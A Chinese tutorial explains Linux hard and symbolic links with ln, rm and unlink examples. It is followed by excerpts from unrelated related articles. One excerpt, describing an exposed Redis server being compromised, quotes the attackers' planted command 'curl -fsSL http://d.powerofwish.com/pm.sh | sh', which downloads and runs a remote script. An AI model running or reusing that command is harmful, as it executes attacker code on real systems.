Linux链接的创建,删除,修改
目录
- 1. 概述
- 2. 硬链接
- 2.1 创建硬链接
- 2.2 删除硬链接
- 3. 软链接
- 3.1 创建软链接
- 3.2 删除软链接
- 5. 常用的终端工具下载
计算机基础–Linux详解
1. 概述
在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,从而允许同一个文件在多个位置上被访问。在Linux系统中,有两种主要类型的链接:硬链接和符号链接(也称为软链接)。
硬链接: 硬链接是指在文件系统中创建的一个文件的另一个名称。当创建硬链接时,实际上是在文件系统中为相同的文件分配了另一个目录项。这意味着一个文件可以有多个硬链接,它们实际上都指向相同的数据块。硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。硬链接的创建只能在同一个文件系统中进行,因为硬链接是基于inode的,而不同的文件系统可能会有不同的inode。
符号链接(软链接): 符号链接是指创建的一个特殊类型的文件,它包含了指向另一个文件或目录的路径。与硬链接不同,符号链接实际上是一个指向另一个文件或目录的符号。这意味着符号链接与原始文件之间存在一个间接的关系,而不是像硬链接那样直接指向相同的数据块。符号链接可以跨越文件系统边界,因为它们只是包含了路径信息,而不是直接基于inode。
链接的作用: 链接在Linux系统中具有多种作用。首先,它们允许用户创建文件的多个引用,这在组织文件和目录结构时非常有用。其次,链接可以用于创建指向共享库或其他系统文件的引用,从而使系统更加灵活和可配置。此外,链接还可以用于创建快捷方式或符号链接,使用户可以方便地访问文件或目录。
在Linux系统中,链接是一个重要的文件系统概念,它为用户提供了一种有效的方式来管理文件和目录。通过理解硬链接和符号链接的特性和用途,用户可以更好地利用链接来组织文件系统,提高系统的灵活性和可维护性。同时,链接也是Linux系统中一个非常强大的功能,对于文件管理和系统配置都具有重要意义。
2. 硬链接
在Linux系统中,硬链接是通过文件系统的inode和目录项来实现的。每个文件在Linux文件系统中都有一个唯一的inode,它包含了文件的元数据信息,如文件的权限、所有者、大小等。当创建一个硬链接时,实际上是创建了一个新的目录项,这个目录项指向了原始文件的inode。这意味着硬链接与原始文件共享相同的inode和数据块,它们实际上是同一个文件的不同名称。
当创建一个硬链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件inode的引用。这样,原始文件和硬链接之间就建立了一个一对多的关系,多个目录项指向同一个inode。这也是为什么硬链接只能在同一个文件系统中创建,因为不同文件系统的inode是不同的。
当对硬链接文件进行修改时,实际上是对原始文件的inode进行的修改,因为它们共享相同的inode。这意味着无论是原始文件还是硬链接文件,对文件内容的修改都会影响到其他所有的硬链接文件。
另外,硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。这意味着对于操作系统来说,硬链接文件和原始文件没有本质上的区别,它们都是同一个文件的不同引用。这也是为什么删除原始文件并不会影响已经创建的硬链接文件的原因。
总的来说,硬链接是Linux文件系统中一个非常有用的特性,它允许用户创建文件的多个引用,提高了文件系统的灵活性和可维护性。通过理解硬链接的实现原理和特性,用户可以更好地利用硬链接来组织文件系统,管理文件和目录。
2.1 创建硬链接
语法:
ln [选项] <源文件或目录> <目标文件或目录>
-s:创建符号链接(软链接)。
-f:强制创建链接,覆盖已存在的文件。
-n:不要覆盖已存在的目标文件。
-i:在创建符号链接时提示是否覆盖已存在的目标文件。
-v:显示详细信息,即显示创建链接的过程。
# 为1.txt文件创建一个硬连接文件11.txt
ln 1.txt 11.txt
2.2 删除硬链接
可以使用rm命令或unlink函数。
语法:
unlink [选项] 文件名
rm 11.txt
#或者
unlink 11.txt
3. 软链接
在Linux系统中,软链接(也称为符号链接)是一种特殊的文件类型,它包含了指向另一个文件或目录的路径。软链接的实现原理与硬链接有所不同。
软链接是通过创建一个新的inode和数据块来实现的。当创建一个软链接时,实际上是创建了一个新的文件,该文件包含了指向原始文件或目录的路径信息。这个新的文件与原始文件或目录之间没有直接的关联,而是通过路径信息进行关联。
当创建一个软链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件或目录的路径信息。这样,软链接文件与原始文件或目录之间就建立了一种类似快捷方式的关系。
与硬链接不同的是,软链接文件和原始文件或目录是两个独立的文件,它们有不同的inode和数据块。因此,软链接文件和原始文件或目录之间的修改不会相互影响。另外,软链接也可以跨越不同的文件系统进行创建,因为它们之间没有直接的inode关联。
3.1 创建软链接
语法:
ln -s 原文件 链接文件
# 为1.txt文件创建一个软连接文件2.txt
ln -s 1.txt 2.txt
3.2 删除软链接
语法:
rm 链接文件
# 删除软连接文件2.txt
rm 2.txt
5. 常用的终端工具下载
OpenSSH下载
PuTTY下载
SecureCRT下载
WinSCP下载
MobaXTerm下载
相关文章:

Linux链接的创建,删除,修改
目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,…...

HarmoryOS Ability页面的生命周期
接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...
【Flink 从入门到成神系列 一】算子
👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...
无人机自主寻优降落在移动车辆
针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP)…...

科技感十足界面模板
科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...
pytest装饰器 @pytest.mark.parametrize 使用方法
pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击
之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明
处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024
AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯
我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题
1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中,我们主要关注以下两点: 父组件的样式是否会影响子组件的样式?子组件的样式是否会影响父组件定义的插槽部分的样式? 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换
目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来,你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...
python接口自动化(七)--状态码详解对照表(详解)
1.简介 我们为啥要了解状态码,从它的作用,就不言而喻了。如果不了解,我们就会像个无头苍蝇,横冲直撞。遇到问题也不知道从何处入手,就是想找别人帮忙,也不知道是找前端还是后端的工程师。 状态码的作用是&a…...
Android 实现动态申请各项权限
在Android应用中,如果需要使用一些敏感的权限(例如相机、位置等),需要经过用户的授权才能访问。在Android 6.0(API级别23)及以上的版本中,引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】
题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4] 输入:l1 [], l2 [] 输出:[] 输入:l1 []…...

安全与认证Week3 Tutorial+历年题补充
目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证,为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...
【Kotlin】协程
Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中,笔者发现很多异步或者耗时的操作,都使用了Kotlin中的协程,所以特地研究了一番。 定义 关于协程(Coroutine),其实…...

Scikit-Learn线性回归(五)
Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片
使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍
目录 编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) ࿰…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
OkHttp 中实现断点续传 demo
在 OkHttp 中实现断点续传主要通过以下步骤完成,核心是利用 HTTP 协议的 Range 请求头指定下载范围: 实现原理 Range 请求头:向服务器请求文件的特定字节范围(如 Range: bytes1024-) 本地文件记录:保存已…...
如何为服务器生成TLS证书
TLS(Transport Layer Security)证书是确保网络通信安全的重要手段,它通过加密技术保护传输的数据不被窃听和篡改。在服务器上配置TLS证书,可以使用户通过HTTPS协议安全地访问您的网站。本文将详细介绍如何在服务器上生成一个TLS证…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
在QWebEngineView上实现鼠标、触摸等事件捕获的解决方案
这个问题我看其他博主也写了,要么要会员、要么写的乱七八糟。这里我整理一下,把问题说清楚并且给出代码,拿去用就行,照着葫芦画瓢。 问题 在继承QWebEngineView后,重写mousePressEvent或event函数无法捕获鼠标按下事…...

【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南
在RK3588上搭建ROS1环境:创建节点与数据可视化实战指南 背景介绍完整操作步骤1. 创建Docker容器环境2. 验证GUI显示功能3. 安装ROS Noetic4. 配置环境变量5. 创建ROS节点(小球运动模拟)6. 配置RVIZ默认视图7. 创建启动脚本8. 运行可视化系统效果展示与交互技术解析ROS节点通…...

Mac flutter环境搭建
一、下载flutter sdk 制作 Android 应用 | Flutter 中文文档 - Flutter 中文开发者网站 - Flutter 1、查看mac电脑处理器选择sdk 2、解压 unzip ~/Downloads/flutter_macos_arm64_3.32.2-stable.zip \ -d ~/development/ 3、添加环境变量 命令行打开配置环境变量文件 ope…...